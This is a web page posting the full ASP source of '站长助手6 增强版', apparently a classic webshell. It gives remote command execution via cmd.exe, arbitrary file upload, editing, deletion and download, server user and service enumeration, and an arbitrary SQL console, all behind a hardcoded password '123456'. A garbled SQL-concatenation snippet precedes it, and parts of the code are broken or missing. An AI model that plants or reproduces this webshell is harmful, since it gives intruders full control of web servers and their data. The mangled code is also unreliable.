asp站长助手源代码

2014 年 6 月 15 日9690

<%

if request("infoid")<>"" then

set rs=conn.execute("select * from nproduct whereinfoid"))

if not (rs.eof and rs.bof) then

proname=rs("proname")

content=rs("proinfo")

end if

rs.close

set rs=nothing

end if

%>

<%
server.scripttimeout=50000
response.buffer = true
on error resume next
applicationname = "站长助手6 增强版"
userpass = "123456" '登陆密码
url = request.servervariables("url")
serverip = request.servervariables("local_addr")
action = request("action")
rootpath = server.mappath(".")
http://www.zjjv.com//' target='_blank'>桂林老兵站</a>"
si=si&"</td></tr>"
si=si&"<tr><td>"
si=si&"<br>站长助手6 增强版<br>by lzhj qq:56824448</a>"
si=si&"</td></tr>"
si=si&"</table>"
response.write si : si=""
end function

function course()
si="<br><table bgcolor='menu' cellspacing='1' cellpadding='0'>"
si=si&"<tr><td colspan='3' bgcolor='menu'>系统用户与服务</td></tr>"
on error resume next
for each obj in getobject("winnt://.")
err.clear
if obj.starttype="" then
si=si&"<tr>"
si=si&"<td20"" bgcolor=""#ffffff"">"
si=si&obj.name
si=si&"</td><td bgcolor=""#ffffff"">"
si=si&"系统用户(组)"
si=si&"</td></tr>"
si0="<tr><td20"" bgcolor=""#ffffff"" colspan=""2""></td></tr>"
end if
if obj.starttype=2 then lx="自动"
if obj.starttype=3 then lx="手动"
if obj.starttype=4 then lx="禁用"
if lcase(mid(obj.path,4,3))<>"win" and obj.starttype=2 then
si1=si1&"<tr><td20"" bgcolor=""#ffffff"">"&obj.name&"</td><td20"" bgcolor=""#ffffff"">"&obj.displayname&"<tr><td20"" bgcolor=""#ffffff"" colspan=""2"">[启动类型:"&lx&"]<font color=#ff0000>"&obj.path&"</font></td></tr>"
else
si2=si2&"<tr><td20"" bgcolor=""#ffffff"">"&obj.name&"</td><td20"" bgcolor=""#ffffff"">"&obj.displayname&"<tr><td20"" bgcolor=""#ffffff"" colspan=""2"">[启动类型:"&lx&"]<font color=#008000>"&obj.path&"</font></td></tr>"
end if
next
response.write si&si0&si1&si2&"</table>"
end function

function serverinfo()
si="<br><table bgcolor='menu' cellspacing='1' cellpadding='0'>"
si=si&"<tr><td colspan='3' bgcolor='menu'>服务器组件信息</td></tr>"
si=si&"<tr><td bgcolor='#ffffff'>服务器名</td><td bgcolor='#ffffff'></td><td bgcolor='#ffffff'>"&request.servervariables("server_name")&"</td></tr>"
si=si&"<form method=post action='http://http://www.zjjv.com///index.asp' target='_blank'><tr><td bgcolor='#ffffff'>服务器ip</td><td bgcolor='#ffffff'></td><td bgcolor='#ffffff'>"
si=si&"<input type='text' size='15' value='"&request.servervariables("local_addr")&"'style='border:0px'><input type='submit' value='查询'style='border:0px'><input type='hidden' value='2'></td></tr></form>"
si=si&"<tr><td bgcolor='#ffffff'>服务器时间</td><td bgcolor='#ffffff'></td><td bgcolor='#ffffff'>"&now&"</td></tr>"
si=si&"<tr><td bgcolor='#ffffff'>服务器cpu数量</td><td bgcolor='#ffffff'></td><td bgcolor='#ffffff'>"&request.servervariables("number_of_processors")&"</td></tr>"
si=si&"<tr><td bgcolor='#ffffff'>服务器操作系统</td><td bgcolor='#ffffff'></td><td bgcolor='#ffffff'>"&request.servervariables("os")&"</td></tr>"
si=si&"<tr><td bgcolor='#ffffff'>web服务器版本</td><td bgcolor='#ffffff'></td><td bgcolor='#ffffff'>"&request.servervariables("server_software")&"</td></tr>"
for i=0 to 13
si=si&"<tr><td bgcolor='#ffffff'>"&obt(i,0)&"</td><td bgcolor='#ffffff'>"&obt(i,1)&"</td><td bgcolor='#ffffff'>"&obt(i,2)&"</td></tr>"
next
response.write si
end function

function downfile(path)
response.clear
set osm = createobject(obt(6,0))
osm.open
osm.type = 1
osm.loadfromfile path
sz=instrrev(path,"\")+1
response.addheader "content-disposition", "attachment; filename=" & mid(path,sz)
response.charset = "utf-8"
response.contenttype = "application/octet-stream"
response.binarywrite osm.read
response.flush
osm.close
set osm = nothing
end function

function htmlencode(s)
if not isnull(s) then
s = replace(s, ">", ">")
s = replace(s, "<", "<")
s = replace(s, chr(39), "'")
s = replace(s, chr(34), """)
s = replace(s, chr(20), "")
htmlencode = s
end if
end function

function upfile()
if request("action2")="post" then
set u=new upc : set f=u.ua("localfile")
uname=u.form("topath")
if uname="" or f.filesize=0 then
si="<br>请输入上传的完全路径后选择一个文件上传!"
else
f.saveas uname
if err.number=0 then
si="<center><br><br><br>文件"&uname&"上传成功!</center>"
end if
end if
set f=nothing:set u=nothing
si=si&backurl
response.write si
showerr()
response.end
end if
si="<br><br><br><table cellpadding='0' cellspacing='0'>"
si=si&"<form method='post' action='"&url&"?action=upfile&action2=post' enctype='multipart/form-data'>"
si=si&"<tr><td>"
si=si&"上传路径:<input value='"&rrepath(session("folderpath")&"\newup.asp")&"' size='40'>"
si=si&"<input type='file' size='25'>"
si=si&"<input type='submit' value='上传'>"
si=si&"</td></tr></form></table>"
response.write si
end function

function cmdshell()
if request("sp")<>"" then session("shellpath") = request("sp")
shellpath=session("shellpath")
if shellpath="" then shellpath = "cmd.exe"
if request("wscript")="yes" then
checked=" checked"
else
checked=""
end if
if request("cmd")<>"" then defcmd = request("cmd")
si="<form method='post'><input value='"&defcmd&"'><input type='submit' value='执行'>"
si=si&"<textarea>"
if request.form("cmd")<>"" then
if request.form("wscript")="yes" then
set cm=createobject(obt(1,0))
set dd=cm.exec(shellpath&" /c "&defcmd)
aaa=dd.stdout.readall
si=si&aaa
else%>
<object runat=server id=ws scope=page classid="clsid:72c24dd5-d70a-438b-8a42-98424b88afb8"></object>
<object runat=server id=ws scope=page classid="clsid:f935dc22-1cf0-11d0-adb9-00c04fd58a0b"></object>
<object runat=server id=fso scope=page classid="clsid:0d43fe01-f093-11cf-8940-00a0c9054228"></object>
<%sztempfile = server.mappath("cmd.txt")
call ws.run (shellpath&" /c " & defcmd & " > " & sztempfile, 0, true)
set fs = createobject("scripting.filesystemobject")
set ofilelcx = fs.opentextfile (sztempfile, 1, false, 0)
aaa=server.htmlencode(ofilelcx.readall)
ofilelcx.close
call fso.deletefile(sztempfile, true)
si=si&aaa
end if
end if
si=si&chr(13)&"</textarea>"
si=si&"shell路径:<input value='"&shellpath&"'>"
si=si&"<input type='checkbox' value='yes'"&checked&">wscript.shell</form>"
response.write si
end function

function createmdb(path)
si="<br><br>"
set c = createobject(obt(2,0))
c.create("provider=microsoft.jet.oledb.4.0;data source=" & path)
set c = nothing
if err.number=0 then
si = si & path & "建立成功!"
end if
si=si&backurl
response.write si
end function

function compactmdb(path)
if not obt(0,1) then
set c=createobject(obt(3,0))
c.compactdatabase "provider=microsoft.jet.oledb.4.0;data source="&path&",provider=microsoft.jet.oledb.4.0;data source=" &path
set c=nothing
else
set fso=createobject(obt(0,1))
if fso.fileexists(path) then
set c=createobject(obt(3,0))
c.compactdatabase "provider=microsoft.jet.oledb.4.0;data source="&path&",provider=microsoft.jet.oledb.4.0;data source=" &path&"_bak"
set c=nothing
fso.deletefile path
fso.movefile path&"_bak",path
else
si="<center><br><br><br>数据库"&path&"没有发现!</center>"
err.number=1
end if
set fso=nothing
end if
if err.number=0 then
si="<center><br><br><br>数据库"&path&"压缩成功!</center>"
end if
si=si&backurl
response.write si
end function

function dbmanager()
sqlstr=trim(request.form("sqlstr"))
dbstr=request.form("dbstr")

si=si&"<table cellspacing='0' cellpadding='0'>"
si=si&"<form method='post' action=''>"
si=si&"<tr><td> 数据库连接串:</td>"
si=si&"<td><input value="""&dbstr&"""></td>"
si=si&"<td><select onchange='return fulldbstr(options[selectedindex].value)'><option value=-1>连接串示例</option><option value=0>access连接</option>"
si=si&"<option value=1>mssql连接</option><option value=2>mysql连接</option><option value=3>dsn连接</option>"
si=si&"<option value=-1>--sql语法--</option><option value=4>显示数据</option><option value=5>添加数据</option>"
si=si&"<option value=6>删除数据</option><option value=7>修改数据</option><option value=8>建数据表</option>"
si=si&"<option value=9>删数据表</option><option value=10>添加字段</option><option value=11>删除字段</option>"
si=si&"<option value=12>完全显示</option></select></td></tr>"
si=si&"<input type='hidden' value='dbmanager'><input type='hidden' value='1'>"
si=si&"<tr><td>sql操作命令:</td>"
si=si&"<td><input value="""&sqlstr&"""></td>"
si=si&"<td><input type='submit' value='执行'></td>"
si=si&"</tr></form></table><span></span>"
response.write si:si=""

if len(dbstr)>40 then

set conn=createobject(obt(5,0))
conn.open dbstr
set rs=conn.openschema(20)
si=si&"<table><tr bgcolor='#cccccc'><td>表<br>名</td>"
rs.movefirst
do while not rs.eof
if rs("table_type")="table" then
tname=rs("table_name")
si=si&"<td align=center><a href='javascript:fullsqlstr(""drop table ["&tname&"]"",1)'>[ del ]</a><br>"
si=si&"<a href='javascript:fullsqlstr(""select * from ["&tname&"]"",1)'>"&tname&"</a></td>"
end if
rs.movenext
loop
set rs=nothing
si=si&"</tr></table>"
response.write si:si=""

if len(sqlstr)>10 then

if lcase(left(sqlstr,6))="select" then
si=si&"执行语句:"&sqlstr
set rs=createobject("adodb.recordset")
rs.open sqlstr,conn,1,1
fn=rs.fields.count
rc=rs.recordcount
rs.pagesize=20
count=rs.pagesize
pn=rs.pagecount
page=request("page")
if page<>"" then page=clng(page)
if page="" or page=0 then page=1
if page>pn then page=pn
if page>1 then rs.absolutepage=page
si=si&"<table><tr height=25 bgcolor=#cccccc><td></td>"
for n=0 to fn-1
set fld=rs.fields.item(n)
si=si&"<td>"&fld.name&"</td>"
set fld=nothing
next
si=si&"</tr>"

do while not(rs.eof or rs.bof) and count>0
count=count-1
bgcolor="#efefef"
si=si&"<tr><td bgcolor=#cccccc><font face='wingdings'>x</font></td>"
for i=0 to fn-1
if bgcolor="#efefef" then:bgcolor="#f5f5f5":else:bgcolor="#efefef":end if
if rc=1 then
colinfo=htmlencode(rs(i))
else
colinfo=htmlencode(left(rs(i),50))
end if
si=si&"<td bgcolor="&bgcolor&">"&colinfo&"</td>"
next
si=si&"</tr>"
rs.movenext
loop

response.write si:si=""

sqlstr=htmlencode(sqlstr)

si=si&"<tr><td colspan="&fn+1&" align=center>记录数:"&rc&"页码:"&page&"/"&pn
if pn>1 then
si=si&"<a href='javascript:fullsqlstr("""&sqlstr&""",1)'>首页</a><a href='javascript:fullsqlstr("""&sqlstr&""","&page-1&")'>上一页</a>"
if page>8 then:sp=page-8:else:sp=1:end if
for i=sp to sp+8
if i>pn then exit for
if i=page then
si=si&i&""
else
si=si&"<a href='javascript:fullsqlstr("""&sqlstr&""","&i&")'>"&i&"</a>"
end if
next
si=si&"<a href='javascript:fullsqlstr("""&sqlstr&""","&page+1&")'>下一页</a><a href='javascript:fullsqlstr("""&sqlstr&""","&pn&")'>尾页</a>"
end if
si=si&"<hr color='#efefef'></td></tr></table>"
rs.close:set rs=nothing

response.write si:si=""
else
conn.execute(sqlstr)
si=si&"sql语句:"&sqlstr
end if

response.write si:si=""
end if

conn.close
set conn=nothing
end if
end function
%>
<head>
<meta http-equiv="content-type" content="text/html; charset=gb2312">
<title><%=applicationname&" - "&serverip%></title>
<style type="text/css">
<!--
body,td {font-size: 12px;}
input,select{font-size: 12px;background-color:#ffffff;}
.tr {background-color:#efefef;}
.cmd {background-color:#000000;color:#ffffff}
body {margin-left: 0px;margin-top: 0px;margin-right: 0px;margin-bottom: 0px;
<%if action="" then response.write "overflow-x:hidden;overflow-y:hidden;"%>}
a {color: black;text-decoration: none;}
.am {color: #003366;font-size: 11px;}
-->
</style>
<script language="javascript">
<!--
function yesok(){
if (confirm("确认要执行此操作吗?"))
return true;
else
return false;
}

function showfolder(folder){
top.addrform.folderpath.value = folder;
top.addrform.submit();
}

function fullform(fname,faction){
top.hideform.fname.value = fname;
if(faction=="copyfile"){
dname = prompt("请输入复制到目标文件全名称",fname);
top.hideform.fname.value += "||||"+dname;
}else if(faction=="movefile"){
dname = prompt("请输入移动到目标文件全名称",fname);
top.hideform.fname.value += "||||"+dname;
}else if(faction=="copyfolder"){
dname = prompt("请输入移动到目标文件夹全名称",fname);
top.hideform.fname.value += "||||"+dname;
}else if(faction=="movefolder"){
dname = prompt("请输入移动到目标文件夹全名称",fname);
top.hideform.fname.value += "||||"+dname;
}else if(faction=="newfolder"){
dname = prompt("请输入要新建的文件夹全名称",fname);
top.hideform.fname.value = dname;
}else if(faction=="createmdb"){
dname = prompt("请输入要新建的mdb文件全名称,注意不能同名!",fname);
top.hideform.fname.value = dname;
}else if(faction=="compactmdb"){
dname = prompt("请输入要压缩的mdb文件全名称,注意文件是否存在!",fname);
top.hideform.fname.value = dname;
}else{
dname = "other";
}

if(dname!=null){
top.hideform.action.value = faction;
top.hideform.submit();
}else{
top.hideform.fname.value = "";
}
}

function dbcheck(){
if(dbform.dbstr.value == ""){
alert("请先连接数据库");
fulldbstr(0);
return false;
}
return true;
}

function fulldbstr(i){
if(i<0){
return false;
}
str = new array(12);
str[0] = "provider=microsoft.jet.oledb.4.0;data source=<%=repath(session("folderpath"))%>\\db.mdb;jet oledb:database password=***";
str[1] = "driver={sql server};server=<%=serverip%>,1433;database=dbname;uid=sa;pwd=****";
str[2] = "driver={mysql};server=<%=serverip%>;port=3306;database=dbname;uid=root;pwd=****";
str[3] = "dsn=dsnname";
str[4] = "select * from [tablename] where id<100";
str[5] = "insert into [tablename](user,pass) values(\'username\',\'password\')";
str[6] = "delete from [tablename] where id=100";
str[7] = "update [tablename] set user=\'username\' where id=100";
str[8] = "create table [tablename](id int identity (1,1) not null,user varchar(50))";
str[9] = "drop table [tablename]";
str[10]= "alter table [tablename] add column pass varchar(32)";
str[11]= "alter table [tablename] drop column pass";
str[12]= "当只显示一条数据时即可显示字段的全部字节,可用条件控制查询实现.\n超过一条数据只显示字段的前五十个字节。";
if(i<=3){
dbform.dbstr.value = str[i];
dbform.sqlstr.value = "";
abc.innerhtml="<center>请确认己连接数据库再输入sql操作命令语句。</center>";
}else if(i==12){
alert(str[i]);
}else{
dbform.sqlstr.value = str[i];
}
return true;
}

function fullsqlstr(str,pg){
if(dbform.dbstr.value.length<5){
alert("请检查数据库连接串是否正确!")
return false;
}
if(str.length<10){
alert("请检查sql语句是否正确!")
return false;
}
dbform.sqlstr.value = str ;
dbform.page.value = pg;
abc.innerhtml="";
dbform.submit();
return true;
}
-->
</script>
</head>
<%
dim t1
class upc
dim d1,d2

public function form(f)
f=lcase(f)
if d1.exists(f) then:form=d1(f):else:form="":end if
end function

public function ua(f)
f=lcase(f)
if d2.exists(f) then:set ua=d2(f):else:set ua=new fif:end if
end function

private sub class_initialize
dim tda,tst,vbcrlf,tin,diend,t2,tlen,tfl,sfv,fstart,fend,dstart,dend,upname
set d1=createobject(obt(4,0))
if request.totalbytes<1 then exit sub
set t1 = createobject(obt(6,0))
t1.type = 1 : t1.mode =3 : t1.open
t1.write request.binaryread(request.totalbytes)
t1.position=0 : tda =t1.read : dstart = 1
dend = lenb(tda)
set d2=createobject(obt(4,0))
vbcrlf = chrb(13) & chrb(10)
set t2 = createobject(obt(6,0))
tst = midb(tda,1, instrb(dstart,tda,vbcrlf)-1)
tlen = lenb (tst)
dstart=dstart+tlen+1
while (dstart + 10) < dend
diend = instrb(dstart,tda,vbcrlf & vbcrlf)+3
t2.type = 1 : t2.mode =3 : t2.open
t1.position = dstart
t1.copyto t2,diend-dstart
t2.position = 0 : t2.type = 2 : t2.charset ="gb2312"
tin = t2.readtext : t2.close
dstart = instrb(diend,tda,tst)
fstart = instr(22,tin,"name=""",1)+6
fend = instr(fstart,tin,"""",1)
upname = lcase(mid (tin,fstart,fend-fstart))
if instr (45,tin,"filename=""",1) > 0 then
set tfl=new fif
fstart = instr(fend,tin,"filename=""",1)+10
fend = instr(fstart,tin,"""",1)
fstart = instr(fend,tin,"content-type: ",1)+14
fend = instr(fstart,tin,vbcr)
tfl.filestart =diend
tfl.filesize = dstart -diend -3
if not d2.exists(upname) then
d2.add upname,tfl
end if
else
t2.type =1 : t2.mode =3 : t2.open
t1.position = diend : t1.copyto t2,dstart-diend-3
t2.position = 0 : t2.type = 2
t2.charset ="gb2312"
sfv = t2.readtext
t2.close
if d1.exists(upname) then
d1(upname)=d1(upname)&", "&sfv
else
d1.add upname,sfv
end if
end if
dstart=dstart+tlen+1
wend
tda=""
set t2 =nothing
end sub

private sub class_terminate
if request.totalbytes>0 then
d1.removeall:d2.removeall
set d1=nothing:set d2=nothing
t1.close:set t1 =nothing
end if
end sub
end class

class fif
dim filesize,filestart
private sub class_initialize
filesize = 0
filestart= 0
end sub

public function saveas(f)
dim t3
saveas=true
if trim(f)="" or filestart=0 then exit function
set t3=createobject(obt(6,0))
t3.mode=3 : t3.type=1 : t3.open
t1.position=filestart
t1.copyto t3,filesize
t3.savetofile f,2
t3.close
set t3=nothing
saveas=false
end function
end class

class lbf
dim cf
private sub class_initialize
set cf=createobject(obt(0,0))
end sub

private sub class_terminate
set cf=nothing
end sub

function showdriver()
for each d in cf.drives
si=si&"<tr><td>"
si=si&"<a href='javascript:showfolder("""&d.driveletter&":\\"")'>本地磁盘 ("&d.driveletter&":)</a>"
si=si&"</td></tr>"
next
showdriver=si
end function

function showfile(path)
set fold=cf.getfolder(path)
i=0
si="<table cellspacing='0' cellpadding='0' bgcolor='#efefef'><tr>"
for each f in fold.subfolders
si=si&"<td>"
si=si&" <a href='javascript:showfolder("""&repath(path&"\"&f.name)&""")'>"&f.name&"</a>"
si=si&" | <a href='javascript:fullform("""&replace(path&"\"&f.name,"\","\\")&""",""delfolder"")' title='删除'>d</a>"
si=si&" <a href='javascript:fullform("""&repath(path&"\"&f.name)&""",""copyfolder"")' title='复制'>c</a>"
si=si&" <a href='javascript:fullform("""&repath(path&"\"&f.name)&""",""movefolder"")' title='移动'>m</a>"
i=i+1
if i mod 3 = 0 then si=si&"</tr><tr>"
next
si=si&"</tr><tr><td height=5></td></tr></table>"
response.write si : si=""

for each l in fold.files
si="<table cellspacing='1' cellpadding='0'>"
si=si&"<trthis.classname='tr'""this.classname=''"">"
si=si&"<td>"
si=si&"<a href='javascript:fullform("""&repath(path&"\"&l.name)&""",""downfile"");' title='下载'>"&l.name&"</a></td>"
si=si&"<td>"&l.type&"</td>"
si=si&"<td>"&clng(l.size/1024)&"k</td>"
si=si&"<td>"&l.datelastmodified&"</td>"
si=si&"<tdcenter""><a href='javascript:fullform("""&repath(path&"\"&l.name)&""",""editfile"")' title='编辑'>edit</a></td>"
si=si&"<tdcenter""><a href='javascript:fullform("""&repath(path&"\"&l.name)&""",""delfile"")' title='删除'>del</a></td>"
si=si&"<tdcenter""><a href='javascript:fullform("""&repath(path&"\"&l.name)&""",""copyfile"")' title='复制'>copy</a></td>"
si=si&"<tdcenter""><a href='javascript:fullform("""&repath(path&"\"&l.name)&""",""movefile"")' title='移动'>move</a></td>"
si=si&"</tr></table>"
response.write si : si=""
next
set fold=nothing
end function

function delfile(path)
if cf.fileexists(path) then
cf.deletefile path
si="<center><br><br><br>文件 "&path&" 删除成功!</center>"
si=si&backurl
response.write si
end if
end function

function editfile(path)
if request("action2")="post" then
set t=cf.createtextfile(path)
t.writeline request.form("content")
t.close
set t=nothing
si="<center><br><br><br>文件保存成功!</center>"
si=si&backurl
response.write si
response.end
end if

if path<>"" then
set t=cf.opentextfile(path, 1, false)
txt=htmlencode(t.readall)
t.close
set t=nothing
else
path=session("folderpath")&"\newfile.asp":txt="新建文件"
end if

si="<table><tr><td valign='top'>"
si=si&"<form action='"&url&"?action2=post' method='post'>"
si=si&"<input value='editfile' type='hidden'>"
si=si&"<input value='"&path&"'><br>"
si=si&"<textarea>"&txt&"</textarea><br>"
si=si&"<hr><input type='button' value='返回'><input type='reset' value='重置'><input type='submit' value='保存'></form>"
si=si&"</td></tr></table></body></html>"
response.write si
end function

function copyfile(path)
path = split(path,"||||")
if cf.fileexists(path(0)) and path(1)<>"" then
cf.copyfile path(0),path(1)
si="<center><br><br><br>文件"&path(0)&"复制成功!</center>"
si=si&backurl
response.write si
end if
end function

function movefile(path)
path = split(path,"||||")
if cf.fileexists(path(0)) and path(1)<>"" then
cf.movefile path(0),path(1)
si="<center><br><br><br>文件"&path(0)&"移动成功!</center>"
si=si&backurl
response.write si
end if
end function

function delfolder(path)
if cf.folderexists(path) then
cf.deletefolder path
si="<center><br><br><br>目录"&path&"删除成功!</center>"
si=si&backurl
response.write si
end if
end function

function copyfolder(path)
path = split(path,"||||")
if cf.folderexists(path(0)) and path(1)<>"" then
cf.copyfolder path(0),path(1)
si="<center><br><br><br>目录"&path(0)&"复制成功!</center>"
si=si&backurl
response.write si
end if
end function

function movefolder(path)
path = split(path,"||||")
if cf.folderexists(path(0)) and path(1)<>"" then
cf.movefolder path(0),path(1)
si="<center><br><br><br>目录"&path(0)&"移动成功!</center>"
si=si&backurl
response.write si
end if
end function

function newfolder(path)
if not cf.folderexists(path) and path<>"" then
cf.createfolder path
si="<center><br><br><br>目录"&path&"新建成功!</center>"
si=si&backurl
response.write si
end if
end function
end class

select case action
case "mainmenu":mainmenu()
case "showfile"
set abc=new lbf:abc.showfile(session("folderpath")):set abc=nothing
case "downfile":downfile fname:showerr()
case "delfile"
set abc=new lbf:abc.delfile(fname):set abc=nothing
case "editfile"
set abc=new lbf:abc.editfile(fname):set abc=nothing
case "copyfile"
set abc=new lbf:abc.copyfile(fname):set abc=nothing
case "movefile"
set abc=new lbf:abc.movefile(fname):set abc=nothing
case "delfolder"
set abc=new lbf:abc.delfolder(fname):set abc=nothing
case "copyfolder"
set abc=new lbf:abc.copyfolder(fname):set abc=nothing
case "movefolder"
set abc=new lbf:abc.movefolder(fname):set abc=nothing
case "newfolder"
set abc=new lbf:abc.newfolder(fname):set abc=nothing
case "upfile":upfile()
case "cmdshell":cmdshell()
case "logout":session.contents.remove("webadmin"):response.redirect url
case "createmdb":createmdb fname
case "compactmdb":compactmdb fname
case "dbmanager":dbmanager()
case "course":course()
case "serverinfo":serverinfo()
case else mainform()
end select
showerr()
%>

叶子树:http://www.zjjv.com/

0 0